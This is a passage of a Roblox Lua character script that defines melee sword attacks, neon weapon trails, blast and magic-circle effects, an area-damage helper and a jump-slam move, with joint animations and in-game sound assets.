  3250. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3251. LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
  3252. end
  3253. --dmgstop()
  3254. attack=false
  3255. Humanoid.WalkSpeed = 12
  3256. if TrailDeb == true then
  3257. TrailDeb = false
  3258. end
  3259. end
  3260.  
  3261. function attackone()
  3262. attack=true
  3263. if TrailDeb == false then
  3264. TrailDeb = true
  3265. end
  3266.  
  3267.  
  3268. coroutine.wrap(function()
  3269. local Old = Handle.CFrame.p
  3270. while wait()do
  3271. if not TrailDeb then break end
  3272. local New = Handle.CFrame.p
  3273. local Mag =(Old -New).magnitude
  3274. local Dis =(Old +New)/2
  3275. local Trail = Instance.new("Part",Character)
  3276. Trail.Material = "Neon"
  3277. Trail.Anchored = true
  3278. Trail.CanCollide = false
  3279. Trail.BrickColor = TorsoColor
  3280. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3281. Trail.TopSurface = 0
  3282. Trail.BottomSurface = 0
  3283. Trail.formFactor = "Custom"
  3284. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3285. local ms = Instance.new("BlockMesh",Trail)
  3286. ms.Scale = Vector3.new(1,1,1)
  3287. local TM = Instance.new("CylinderMesh",Trail)
  3288. TM.Scale = Vector3.new(1,1,1)
  3289. Old = New
  3290. coroutine.wrap(function()
  3291. for i = 1,0,-0.1 do
  3292. wait()
  3293. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3294. end
  3295. Trail:remove()
  3296. end)()
  3297. coroutine.wrap(function()
  3298. for i = 1,10 do
  3299. wait()
  3300. Trail.Transparency = Trail.Transparency +0.1
  3301. end end)()end end)()
  3302. con1=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  3303. for i=0,1,0.08 do
  3304. swait()
  3305. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(-10)),.3)
  3306. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(5),math.rad(0),math.rad(10)),.3)
  3307. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3308. Handleweld.C0=clerp(Handleweld.C0,cf(-3,1,2)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  3309. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3310. RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*euler(.5,1.8,1.5),.3)
  3311. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  3312. end
  3313. so("http://www.roblox.com/asset/?id=231917758",Handle,1,.9)
  3314. so("http://www.roblox.com/asset/?id=159972643",Torso,1,1)
  3315. for i=0,1,0.1 do
  3316. swait()
  3317. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(20)),.3)
  3318. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3319. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3320. Handleweld.C0=clerp(Handleweld.C0,cf(-4,1,-8)*angles(math.rad(-85),math.rad(0),math.rad(0)),.2)
  3321. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3322. RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*euler(80,1.8,1.5),.3)
  3323. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  3324. end
  3325. --dmgstop()
  3326. attack=false
  3327. con1:disconnect()
  3328. if TrailDeb == true then
  3329. TrailDeb = false
  3330. end
  3331. end
  3332.  
  3333. function attacktwo()
  3334. attack=true
  3335. if TrailDeb == false then
  3336. TrailDeb = true
  3337. end
  3338.  
  3339.  
  3340. coroutine.wrap(function()
  3341. local Old = Handle2.CFrame.p
  3342. while wait()do
  3343. if not TrailDeb then break end
  3344. local New = Handle2.CFrame.p
  3345. local Mag =(Old -New).magnitude
  3346. local Dis =(Old +New)/2
  3347. local Trail = Instance.new("Part",Character)
  3348. Trail.Material = "Neon"
  3349. Trail.Anchored = true
  3350. Trail.CanCollide = false
  3351. Trail.BrickColor = TorsoColor
  3352. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3353. Trail.TopSurface = 0
  3354. Trail.BottomSurface = 0
  3355. Trail.formFactor = "Custom"
  3356. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3357. local ms = Instance.new("BlockMesh",Trail)
  3358. ms.Scale = Vector3.new(1,1,1)
  3359. local TM = Instance.new("CylinderMesh",Trail)
  3360. TM.Scale = Vector3.new(1,1,1)
  3361. Old = New
  3362. coroutine.wrap(function()
  3363. for i = 1,0,-0.1 do
  3364. wait()
  3365. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3366. end
  3367. Trail:remove()
  3368. end)()
  3369. coroutine.wrap(function()
  3370. for i = 1,10 do
  3371. wait()
  3372. Trail.Transparency = Trail.Transparency +0.1
  3373. end end)()end end)()
  3374. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  3375. for i=0,1,0.08 do
  3376. swait()
  3377. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(20)),.3)
  3378. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3379. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3380. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,1,-5)*angles(math.rad(0),math.rad(0),math.rad(20)),.2)
  3381. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3382. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-30,0,-20),.3)
  3383. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-2),math.rad(-25),math.rad(15)),.3)
  3384. end
  3385. so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8)
  3386. so("http://www.roblox.com/asset/?id=159972627",Torso,1,1)
  3387. for i=0,1,0.1 do
  3388. swait()
  3389. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3390. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(20)),.3)
  3391. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3392. Handle2weld.C0=clerp(Handle2weld.C0,cf(10,1,-5)*angles(math.rad(0),math.rad(-80),math.rad(20)),.2)
  3393. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3394. LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
  3395. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-2),math.rad(-25),math.rad(15)),.3)
  3396. end
  3397. --dmgstop()
  3398. attack=false
  3399. con1:disconnect()
  3400. if TrailDeb == true then
  3401. TrailDeb = false
  3402. end
  3403. end
  3404.  
  3405. function attackthree()
  3406. attack=true
  3407. if TrailDeb == false then
  3408. TrailDeb = true
  3409. end
  3410.  
  3411.  
  3412. coroutine.wrap(function()
  3413. local Old = Handle.CFrame.p
  3414. while wait()do
  3415. if not TrailDeb then break end
  3416. local New = Handle.CFrame.p
  3417. local Mag =(Old -New).magnitude
  3418. local Dis =(Old +New)/2
  3419. local Trail = Instance.new("Part",Character)
  3420. Trail.Material = "Neon"
  3421. Trail.Anchored = true
  3422. Trail.CanCollide = false
  3423. Trail.BrickColor = TorsoColor
  3424. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3425. Trail.TopSurface = 0
  3426. Trail.BottomSurface = 0
  3427. Trail.formFactor = "Custom"
  3428. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3429. local ms = Instance.new("BlockMesh",Trail)
  3430. ms.Scale = Vector3.new(1,1,1)
  3431. local TM = Instance.new("CylinderMesh",Trail)
  3432. TM.Scale = Vector3.new(1,1,1)
  3433. Old = New
  3434. coroutine.wrap(function()
  3435. for i = 1,0,-0.1 do
  3436. wait()
  3437. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3438. end
  3439. Trail:remove()
  3440. end)()
  3441. coroutine.wrap(function()
  3442. for i = 1,10 do
  3443. wait()
  3444. Trail.Transparency = Trail.Transparency +0.1
  3445. end end)()end end)()
  3446. con1=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Up",RootPart,.2,1) end)
  3447. for i=0,1,0.08 do
  3448. swait()
  3449. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(0)),.3)
  3450. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  3451. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3452. Handleweld.C0=clerp(Handleweld.C0,cf(3,7,-1)*angles(math.rad(20),math.rad(0),math.rad(-120)),.2)
  3453. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3454. RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*euler(0.5,-1.3,-0.1),.3)
  3455. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  3456. end
  3457. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  3458. so("http://www.roblox.com/asset/?id=159882477",Torso,1,1)
  3459. for i=0,1,0.05 do
  3460. swait()
  3461. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  3462. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(5),math.rad(0),math.rad(0)),.3)
  3463. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3464. Handleweld.C0=clerp(Handleweld.C0,cf(2,4,-3)*angles(math.rad(120),math.rad(0),math.rad(-120)),.2)
  3465. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3466. RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*euler(2,-1.3,0.1),.3)
  3467. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  3468. end
  3469. --dmgstop()
  3470. attack=false
  3471. con1:disconnect()
  3472. if TrailDeb == true then
  3473. TrailDeb = false
  3474. end
  3475. end
  3476.  
  3477. function attackfour()
  3478. attack=true
  3479. if TrailDeb == false then
  3480. TrailDeb = true
  3481. end
  3482.  
  3483.  
  3484. coroutine.wrap(function()
  3485. local Old = Handle2.CFrame.p
  3486. while wait()do
  3487. if not TrailDeb then break end
  3488. local New = Handle2.CFrame.p
  3489. local Mag =(Old -New).magnitude
  3490. local Dis =(Old +New)/2
  3491. local Trail = Instance.new("Part",Character)
  3492. Trail.Material = "Neon"
  3493. Trail.Anchored = true
  3494. Trail.CanCollide = false
  3495. Trail.BrickColor = TorsoColor
  3496. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3497. Trail.TopSurface = 0
  3498. Trail.BottomSurface = 0
  3499. Trail.formFactor = "Custom"
  3500. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3501. local ms = Instance.new("BlockMesh",Trail)
  3502. ms.Scale = Vector3.new(1,1,1)
  3503. local TM = Instance.new("CylinderMesh",Trail)
  3504. TM.Scale = Vector3.new(1,1,1)
  3505. Old = New
  3506. coroutine.wrap(function()
  3507. for i = 1,0,-0.1 do
  3508. wait()
  3509. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3510. end
  3511. Trail:remove()
  3512. end)()
  3513. coroutine.wrap(function()
  3514. for i = 1,10 do
  3515. wait()
  3516. Trail.Transparency = Trail.Transparency +0.1
  3517. end end)()end end)()
  3518. coroutine.wrap(function()
  3519. local Old = Handle.CFrame.p
  3520. while wait()do
  3521. if not TrailDeb then break end
  3522. local New = Handle.CFrame.p
  3523. local Mag =(Old -New).magnitude
  3524. local Dis =(Old +New)/2
  3525. local Trail = Instance.new("Part",Character)
  3526. Trail.Material = "Neon"
  3527. Trail.Anchored = true
  3528. Trail.CanCollide = false
  3529. Trail.BrickColor = TorsoColor
  3530. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3531. Trail.TopSurface = 0
  3532. Trail.BottomSurface = 0
  3533. Trail.formFactor = "Custom"
  3534. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3535. local ms = Instance.new("BlockMesh",Trail)
  3536. ms.Scale = Vector3.new(1,1,1)
  3537. local TM = Instance.new("CylinderMesh",Trail)
  3538. TM.Scale = Vector3.new(1,1,1)
  3539. Old = New
  3540. coroutine.wrap(function()
  3541. for i = 1,0,-0.1 do
  3542. wait()
  3543. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3544. end
  3545. Trail:remove()
  3546. end)()
  3547. coroutine.wrap(function()
  3548. for i = 1,10 do
  3549. wait()
  3550. Trail.Transparency = Trail.Transparency +0.1
  3551. end end)()end end)()
  3552. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  3553. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  3554. for i=0,1,0.08 do
  3555. swait()
  3556. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
  3557. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3558. Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3559. Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3560. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
  3561. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
  3562. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3563. LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
  3564. end
  3565. if anim then
  3566. anim.Disabled=true
  3567. end
  3568. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.7)
  3569. so("http://www.roblox.com/asset/?id=159882584",Torso,1,1)
  3570. for i=0,1,0.04 do
  3571. swait()
  3572. Torso.Velocity=RootPart.CFrame.lookVector*50
  3573. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,1)*angles(math.rad(-5),math.rad(0),math.rad(0+360*i)),.3)
  3574. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3575. Handleweld.C0=clerp(Handleweld.C0,cf(3,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3576. Handle2weld.C0=clerp(Handle2weld.C0,cf(-3,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3577. RW.C0=clerp(RW.C0,cf(1.2,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3578. LW.C0=clerp(LW.C0,cf(-1.2,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3579. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  3580. LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(0,-1.57,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  3581. end
  3582. --dmgstop()
  3583. attack=false
  3584. con1:disconnect()
  3585. con2:disconnect()
  3586. if anim then
  3587. anim.Disabled=false
  3588. end
  3589. if TrailDeb == true then
  3590. TrailDeb = false
  3591. end
  3592. end
  3593.  
  3594. function BlastEffect(brickcolor, cframe, x1, y1, z1, x2, y2, z2)
  3595. local prt = part(3, workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", vt(0.5, 0.5, 0.5))
  3596. prt.Anchored = true
  3597. prt.CFrame = cframe
  3598. local msh = mesh("SpecialMesh", prt, "FileMesh", "http://www.roblox.com/asset/?id=20329976", vt(0, 0, 0), vt(x1, y1, z1))
  3599. coroutine.resume(coroutine.create(function()
  3600. for i = 0, 1, 0.05 do
  3601. wait()
  3602. prt.Transparency = i
  3603. msh.Scale = msh.Scale + vt(x2, y2, z2)
  3604. end
  3605. prt.Parent = nil
  3606. end))
  3607. end
  3608.  
  3609. function MagniDamage(Hit, Part, magni, mindam, maxdam, knock, Type)
  3610. for _, c in pairs(workspace:children()) do
  3611. local hum = c:findFirstChild("Humanoid")
  3612. if hum ~= nil then
  3613. local head = c:findFirstChild("Torso")
  3614. if head ~= nil then
  3615. local targ = head.Position - Part.Position
  3616. local mag = targ.magnitude
  3617. if mag <= magni and c.Name ~= Player.Name then
  3618. Damagefunc(Hit, head, mindam, maxdam, knock, Type, RootPart, .2, 1, 3)
  3619. end
  3620. end
  3621. end
  3622. end
  3623. end
  3624.  
  3625. function MagicCircle(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay)
  3626. local prt = part(3, workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", vt(0.5, 0.5, 0.5))
  3627. prt.Anchored = true
  3628. prt.CFrame = cframe
  3629. local msh = mesh("SpecialMesh", prt, "Sphere", "", vt(0, 0, 0), vt(x1, y1, z1))
  3630. game:GetService("Debris"):AddItem(prt, 2)
  3631. coroutine.resume(coroutine.create(function(Part, Mesh)
  3632. for i = 0, 1, delay do
  3633. swait()
  3634. Part.CFrame = Part.CFrame
  3635. Part.Transparency = i
  3636. Mesh.Scale = Mesh.Scale + vt(x3, y3, z3)
  3637. end
  3638. Part.Parent = nil
  3639. end), prt, msh)
  3640. end
  3641.  
  3642. function MagicJump()
  3643. if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
  3644. attack=true
  3645. mana=mana-25
  3646. --[[ Humanoid.WalkSpeed = 0
  3647. for i=0,1,0.01 do
  3648. swait()
  3649. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1.2)*angles(math.rad(45),math.rad(0),math.rad(45)),.1)
  3650. Neck.C0=clerp(Neck.C0,necko*angles(math.rad(-15),math.rad(15),math.rad(-45)),.1)
  3651. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
  3652. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(60),math.rad(0),math.rad(45)),.1)
  3653. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-15),math.rad(15),math.rad(-30)),.1)
  3654. RH.C0=clerp(RH.C0,cf(0.5,-1.25,0.75)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(15),math.rad(-60),math.rad(-15)),.1)
  3655. LH.C0=clerp(LH.C0,cf(-1,0.1,-0.8)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(40),math.rad(0),math.rad(-30)),.1)
  3656. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(45)),.1)
  3657. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,-6)*angles(math.rad(-15),math.rad(-60),math.rad(45)),.1)
  3658. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(60),math.rad(45)),.1)
  3659. end]]--
  3660. Humanoid.Jump = true
  3661. Torso.Velocity = vt(0, 150, 0)
  3662. Humanoid.WalkSpeed = 64
  3663. so("http://www.roblox.com/asset/?id=199145497",Torso,1,0.8)
  3664. so("http://www.roblox.com/asset/?id=199145497",Torso,1,0.8)
  3665. for i=0,1,0.05 do
  3666. swait()
  3667. Neck.C0=clerp(Neck.C0,necko*euler(0.5,0,0),.3)
  3668. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  3669. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0+8*i,0,0),.3)
  3670. LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
  3671. RW.C0=clerp(RW.C0,cf(1,0.5,-1)*euler(-30,0,-20),.3)
  3672. RH.C0=clerp(RH.C0,cf(1,0,-1)*euler(-0.5,1.57,0)*euler(0,0,0),.2)
  3673. LH.C0=clerp(LH.C0,cf(-1,0,-1)*euler(-0.5,-1.57,0)*euler(0,0,0),.2)
  3674. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(0),math.rad(0)),.2)
  3675. Handleweld.C0=clerp(Handleweld.C0,cf(0,-5,0)*angles(math.rad(60),math.rad(60),math.rad(0)),.2)
  3676. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-5,0)*angles(math.rad(60),math.rad(-60),math.rad(0)),.2)
  3677. end
  3678. for i=0,1,0.02 do
  3679. swait()
  3680. Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3)
  3681. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  3682. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3)
  3683. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3)
  3684. RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  3685. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3)
  3686. LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  3687. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2)
  3688. LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2)
  3689. handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  3690. Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
  3691. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
  3692. end
  3693. Humanoid.WalkSpeed = 0
  3694. swait(8)
  3695. so("http://www.roblox.com/asset/?id=199145477",Torso,1,1)
  3696. so("http://www.roblox.com/asset/?id=199145477",Torso,1,1)
  3697. local hit,pos=rayCast(Torso.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,100,Character)
  3698. if hit~=nil then
  3699. swait(2)
  3700. local ref=part(3,workspace,"SmoothPlastic",0,1,BrickColor.new("Really black"),"Effect",vt())
  3701. ref.Anchored=true
  3702. ref.CFrame=cf(pos)
  3703. game:GetService("Debris"):AddItem(ref,3)
  3704. for i=1,10 do
  3705. local Col=BrickColor.new("Really black")
  3706. local groundpart=part(3,Character,"SmoothPlastic",0,0,Col,"Ground",vt(math.random(50,200)/100,math.random(50,200)/100,math.random(50,200)/100))
  3707. groundpart.Anchored=true
  3708. groundpart.CanCollide=false
  3709. groundpart.CFrame=cf(pos)*cf(math.random(-500,500)/100,0,math.random(-500,500)/100)*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  3710. local Col2=TorsoColor
  3711. local groundpart2=part(3,Character,"SmoothPlastic",0,0,Col2,"Ground",vt(math.random(50,200)/100,math.random(50,200)/100,math.random(50,200)/100))
  3712. groundpart2.Anchored=true
  3713. groundpart2.CanCollide=false
  3714. groundpart2.CFrame=cf(pos)*cf(math.random(-500,500)/100,0,math.random(-500,500)/100)*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  3715. game:GetService("Debris"):AddItem(groundpart,5)
  3716. game:GetService("Debris"):AddItem(groundpart2,5)
  3717. end
  3718. BlastEffect(TorsoColor,cf(pos),1,1,1,1.4,1.4,1.4)
  3719. BlastEffect(BrickColor.new("Really black"),cf(pos),.9,.9,.9,1.2,1.2,1.2)
  3720. MagicCircle(BrickColor.new("Really black"),cf(pos),5,5,5,5,5,5,0.05)
  3721. MagicCircle(TorsoColor,cf(pos),6,6,6,6,6,6,0.05)
  3722. for i=0,1,0.06 do
  3723. swait()
  3724. Neck.C0=clerp(Neck.C0,necko*angles(math.rad(-20),math.rad(0),math.rad(0)),.3)
  3725. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  3726. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-0.5)*angles(math.rad(50),math.rad(0),math.rad(0)),.3)
  3727. RW.C0=clerp(RW.C0,cf(1, 0.3, -.7)*angles(math.rad(50),math.rad(0),math.rad(-30)),.3)
  3728. LW.C0=clerp(LW.C0,cf(-1, 0.3, -.7)*angles(math.rad(50),math.rad(0),math.rad(30)),.3)
  3729. RH.C0=clerp(RH.C0,cf(1, -.5, -.5)*angles(math.rad(50),math.rad(90),math.rad(0))*angles(math.rad(-3),math.rad(0),math.rad(0)),.3)
  3730. LH.C0=clerp(LH.C0,cf(-1, -1, -.5)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-3),math.rad(0),math.rad(0)),.3)
  3731. handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  3732. Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
  3733. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
  3734. end
  3735. end
  3736. swait(20)
  3737. Humanoid.WalkSpeed = 12
  3738. --dmgstop()
  3739. attack=false
  3740. end
  3741. end
  3742.  
  3743. function Spin()
  3744. attack=true
  3745. mana=mana-40
  3746. if TrailDeb == false then
  3747. TrailDeb = true
  3748. end
  3749.  
  3750. coroutine.wrap(function()
  3751. local Old = Handle2.CFrame.p
  3752. while wait()do
  3753. if not TrailDeb then break end
  3754. local New = Handle2.CFrame.p
  3755. local Mag =(Old -New).magnitude
  3756. local Dis =(Old +New)/2
  3757. local Trail = Instance.new("Part",Character)
  3758. Trail.Material = "Neon"
  3759. Trail.Anchored = true
  3760. Trail.CanCollide = false
  3761. Trail.BrickColor = TorsoColor
  3762. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3763. Trail.TopSurface = 0
  3764. Trail.BottomSurface = 0
  3765. Trail.formFactor = "Custom"
  3766. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3767. local ms = Instance.new("BlockMesh",Trail)
  3768. ms.Scale = Vector3.new(1,1,1)
  3769. local TM = Instance.new("CylinderMesh",Trail)
  3770. TM.Scale = Vector3.new(1,1,1)
  3771. Old = New
  3772. coroutine.wrap(function()
  3773. for i = 1,0,-0.1 do
  3774. wait()
  3775. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3776. end
  3777. Trail:remove()
  3778. end)()
  3779. coroutine.wrap(function()
  3780. for i = 1,10 do
  3781. wait()
  3782. Trail.Transparency = Trail.Transparency +0.1
  3783. end end)()end end)()
  3784. coroutine.wrap(function()
  3785. local Old = Handle.CFrame.p
  3786. while wait()do
  3787. if not TrailDeb then break end
  3788. local New = Handle.CFrame.p
  3789. local Mag =(Old -New).magnitude
  3790. local Dis =(Old +New)/2
  3791. local Trail = Instance.new("Part",Character)
  3792. Trail.Material = "Neon"
  3793. Trail.Anchored = true
  3794. Trail.CanCollide = false
  3795. Trail.BrickColor = TorsoColor
  3796. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3797. Trail.TopSurface = 0
  3798. Trail.BottomSurface = 0
  3799. Trail.formFactor = "Custom"
  3800. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3801. local ms = Instance.new("BlockMesh",Trail)
  3802. ms.Scale = Vector3.new(1,1,1)
  3803. local TM = Instance.new("CylinderMesh",Trail)
  3804. TM.Scale = Vector3.new(1,1,1)
  3805. Old = New
  3806. coroutine.wrap(function()
  3807. for i = 1,0,-0.1 do
  3808. wait()
  3809. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3810. end
  3811. Trail:remove()
  3812. end)()
  3813. coroutine.wrap(function()
  3814. for i = 1,10 do
  3815. wait()
